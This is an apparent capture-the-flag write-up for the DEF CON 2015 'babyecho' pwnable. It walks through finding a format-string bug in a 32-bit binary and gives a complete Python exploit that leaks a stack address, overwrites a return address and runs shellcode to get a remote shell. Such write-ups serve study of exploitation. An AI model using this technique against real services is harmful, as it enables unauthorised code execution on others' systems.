DefConCTF 2015 babycho Writeup Point = 1 Category = Pwnable 
babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
1 
2 
3 
4 
5 
$ file babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
 babyecho_eb11fdf6e40236b1a37b7974c53b6c3d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped
 $ checksec.sh --file babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
 RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
 Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   babyecho_eb11fdf6e40236b1a37b7974c53b6c3d 
First try got my attention:
1 
2 
3 
4 
5 
$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
 Reading 13 bytes
 %p%p%p%p
 0xd0xa(nil)0xd
 Reading 13 bytes 
There is format string vulnerability, and based on binary properties we should run our shellcode.
but there’s a limit, 13 bytes? right?
time to take a look at binary in IDA, the main function is sub_8048F3C.
some resolving symbols the function looks like this:
1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 
21 
22 
23 
24 
25 
int sub_8048F3C()
 {
   signed int v0; // eax@2
   int v3; // [sp+10h] [bp-410h]@1
   int v4; // [sp+1Ch] [bp-404h]@4
   int v5; // [sp+41Ch] [bp-4h]@1
 
   v5 = *MK_FP(__GS__, 20);
   v3 = 13;
   setvbuf((int)off_80EA4C0, 0, 2, 0);
   signal(14, (int)sub_8048EB1);
   alarm(10);
   while ( 1 )
   {
     v0 = 1023;
     if ( v3 <= 1023 )
       v0 = v3;
     v3 = v0;
     printf("Reading %d bytes\n", v0);
     reado((int)&v4, v3, 10);
     filter_n((int)&v4);
     printf((const char *)&v4);
     alarm(10);
   }
 } 
the filter_n function just checks for %n and filters it as _n.
if i overwrite v0 i can send my shellcode and return to it.
i just need to know the offset, and gdb says it is 7:
1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 
21 
22 
23 
24 
25 
26 
27 
28 
29 
30 
31 
32 
33 
34 
35 
36 
Reading 13 bytes
 %p%p%p%p
 [-------------------------------------registers--------------------------------------]
 EAX: 0xffffc86c ("%p%p%p%p")
 EBX: 0x80481a8 (push   ebx)
 ECX: 0x0 
 EDX: 0xffffffff 
 ESI: 0x0 
 EDI: 0x80ea00c --> 0x80660a0 (mov    edx,DWORD PTR [esp+0x4])
 EBP: 0xffffcc78 --> 0x80497d0 (push   ebx)
 ESP: 0xffffc850 --> 0xffffc86c ("%p%p%p%p")
 EIP: 0x804900f (call   0x804f560)
 [----------------------------------------code----------------------------------------]
    0x8049003:   call   0x8048ecf
    0x8049008:   lea    eax,[esp+0x1c]
    0x804900c:   mov    DWORD PTR [esp],eax
 => 0x804900f:   call   0x804f560
    0x8049014:   mov    DWORD PTR [esp],0xa
    0x804901b:   call   0x804fde0
    0x8049020:   mov    DWORD PTR [esp],0x14
    0x8049027:   call   0x806cb50
 Guessed arguments:
 arg[0]: 0xffffc86c ("%p%p%p%p")
 [---------------------------------------stack----------------------------------------]
 00:0000| esp 0xffffc850 --> 0xffffc86c ("%p%p%p%p")
 01:0004|     0xffffc854 --> 0xd (b'\r')
 02:0008|     0xffffc858 --> 0xa (b'\n')
 03:0012|     0xffffc85c --> 0x0 
 04:0016|     0xffffc860 --> 0xd (b'\r')
 05:0020|     0xffffc864 --> 0xffffc86c ("%p%p%p%p")
 06:0024|     0xffffc868 --> 0x0 
 07:0028| eax 0xffffc86c ("%p%p%p%p")
 [------------------------------------------------------------------------------------]
 Legend: stack, code, data, heap, rodata, value
 
 Breakpoint 2, 0x0804900f in ?? () 
Obviously, first i should leak the stack address at offset 5, then overwrite the v0 so i send my shellcode, but the main part is how to break the loop. for this i just overwrite return address of printf and then jump to my shellcode.
TL;DR
Please check my implementation:
1 
2 
3 
4 
5 
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 
21 
22 
23 
24 
25 
26 
27 
28 
29 
30 
31 
32 
33 
34 
35 
36 
37 
38 
39 
40 
41 
42 
43 
44 
45 
46 
47 
48 
49 
50 
51 
52 
53 
54 
55 
56 
57 
58 
59 
60 
61 
62 
63 
64 
#!/usr/bin/python
 
 import socket
 import struct
 import telnetlib
 
 def readuntil(f, delim='\n'):
     data = ''
     while not data.endswith(delim):
         c = f.read(1)
         assert len(c) > 0
         data += c
     #print data
     return data
 
 def p(v):
     return struct.pack('<I', v)
 
 def u(v):
     return struct.unpack('<I', v)[0]
 
 
 #s = socket.create_connection(("127.0.0.1", 1337))
 s = socket.create_connection(("babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me", 3232))
 f = s.makefile('rw', bufsize=0)
 
 raw_input("$") # attach debugger
 
 
 shellcode = (
 "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"
           "\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"
                   "\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"
         )
 
 readuntil(f)
 f.write("%p"*5+"\n")
 loc =  int(readuntil(f)[:-1].split("0x")[-1], 16)  - 0x0c
 
 readuntil(f)
 f.write(p(loc)+"%30u%7$n\n")
 
 
 
 readuntil(f)
 f.write(p(loc)+"%1200u%7$n\n")
 
 readuntil(f)
 
 wrl = loc+100 & 0xffff
 wrh = (loc+100 >> 16 ) & 0xffff
 
 print hex(wrl), hex(wrh)
 
 payload = p(loc-0x14)+"%0{i}c".format(i=wrl)+"%0007$hn"+"%0{i}c".format(i=(wrh-wrl-8))+p(loc-0x12)+"%0014$hn"+p(loc-0x12)+"A"*48+shellcode+"A"*(1024 - 48 - len(shellcode))+"\n"
 print payload
 
 
 f.write(payload)
 
 print "[+] shell is ready: "
 t = telnetlib.Telnet()
 t.sock = s
 t.interact() 
there you go:
1 
2 
3 
4 
5 
6 
$ python babyecho-expl.py
 0x4a24 0xffd2
 �I��%018980c%0007$hn%046502c
 [...]
 cat /home/babyecho/flag 
 The flag is: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*% 
@HAMIDx9